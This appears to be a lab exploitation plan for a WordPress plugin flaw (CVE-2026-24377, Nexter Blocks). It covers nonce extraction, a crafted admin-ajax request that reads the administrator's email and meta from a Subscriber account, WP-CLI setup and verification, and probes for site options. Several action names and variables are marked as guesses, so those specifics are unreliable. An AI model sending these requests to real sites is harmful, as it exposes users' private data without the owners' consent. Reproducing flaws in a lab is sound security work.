Exploitation Research Plan - CVE-2026-24377 (Nexter Blocks Information Exposure)

1. Vulnerability Summary

The Nexter Blocks (The Plus Addons for Block Editor) plugin for WordPress (versions <= 4.6.3) is vulnerable to Information Exposure. The vulnerability exists in the plugin's AJAX handlers—likely related to dynamic content or user data retrieval—which fail to implement proper capability checks. While the handlers require authentication (Subscriber+), they do not verify if the requesting user has permission to access the specific data (e.g., meta data of other users or sensitive site configurations).

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Vulnerable Action: tp_get_user_data (or potentially tp_dynamic_listing / plus_get_dynamic_data - inferred based on plugin functionality)
• HTTP Method: POST
• Authentication: Required (Subscriber-level or higher)
• Parameters:
  • action: tp_get_user_data
  • user_id: The ID of the target user (e.g., 1 for the administrator).
  • security: The AJAX nonce.
  • meta_key (Optional/Inferred): A specific meta key to retrieve (e.g., nickname, user_email, wp_capabilities).

3. Code Flow

1. Registration: The plugin registers AJAX handlers in the constructor of a main class (e.g., TP_Plus_Addons_Ajax in includes/plus-query/plus-query.php or classes/tp-ajax-handler.php).
   • add_action( 'wp_ajax_tp_get_user_data', [ $this, 'tp_get_user_data_callback' ] );
2. Execution: When a Subscriber sends a request to admin-ajax.php with the action tp_get_user_data.
3. Verification: The callback calls check_ajax_referer( 'the_plus_nonce', 'security' ). This succeeds if the Subscriber provides a valid nonce.
4. Vulnerable Sink: The code proceeds to fetch user data using get_userdata( $_POST['user_id'] ) or get_user_meta( $_POST['user_id'], ... ) without calling current_user_can( 'edit_user', $user_id ) or verifying that the $user_id matches the current user.
5. Output: The data is returned in a JSON response to the Subscriber.

4. Nonce Acquisition Strategy

The plugin typically localizes its AJAX data for the block editor or frontend dynamic widgets.

1. Shortcode Identification: The "User Info" or "Dynamic Content" functionality usually triggers the script. The shortcode is likely [tp_user_info] or a block named tpgb/tp-user-info.
2. Page Creation: Use WP-CLI to create a page containing a relevant block to ensure the scripts load:

   wp post create --post_type=page --post_status=publish --post_title="Nonce Page" --post_content='<!-- wp:tpgb/tp-user-info {"userId":"1"} /-->'
   

3. Extraction:
   • Navigate to the newly created page as the Subscriber user.
   • Use browser_eval to extract the nonce from the localized JavaScript object.
   • Target Variable: the_plus_ajax_nonce or plus_ajax_object.
   • Expected JS Path: window.the_plus_ajax_nonce or window.plus_ajax_object.ajax_nonce.

5. Exploitation Strategy

1. Log in as Subscriber: Authenticate and maintain cookies.
2. Obtain Nonce: Follow the extraction steps above to get a valid security token.
3. Craft Attack Request:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.local
   Content-Type: application/x-www-form-urlencoded
   Cookie: [Subscriber Cookies]
   
   action=tp_get_user_data&user_id=1&security=[NONCE]
   

   Note: If user_id alone doesn't return full info, try adding meta_key=user_email or meta_key=description.
4. Analyze Response: A successful exploit will return a JSON object containing the Admin's sensitive information (email, meta, etc.).

6. Test Data Setup

1. Admin User: Ensure an administrator exists (usually ID 1).
2. Subscriber User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

3. Target Data: Add a unique piece of meta to the admin to prove exposure:

   wp usermeta update 1 secret_note "NX-BLOCKS-SECRET-12345"
   

7. Expected Results

• Success: The HTTP response body contains a JSON object:
  {"success":true,"data":{"user_email":"admin@example.com", ...}} or similar reflecting the Admin's details.
• Failure: A 403 Forbidden response or a JSON error {"success":false,"data":"Permission denied"} (indicating the patch is active).

8. Verification Steps

1. Check Output: Inspect the response from the http_request tool for the Admin's email or the secret_note defined in setup.
2. WP-CLI Comparison: Verify the exposed data matches reality:

   wp user get 1 --fields=user_email
   wp usermeta get 1 secret_note
   

9. Alternative Approaches

If tp_get_user_data is not the exact action name:

• Search for AJAX actions: Run grep -r "wp_ajax_" wp-content/plugins/the-plus-addons-for-block-editor/ to find all registered actions.
• Identify Dynamic Handlers: Look for any handler that uses get_userdata or get_option within its callback.
• Try Site Options: If user data is protected, check if the plugin exposes site options via an action like tp_get_option:
  action=tp_get_option&option_name=admin_email or option_name=active_plugins.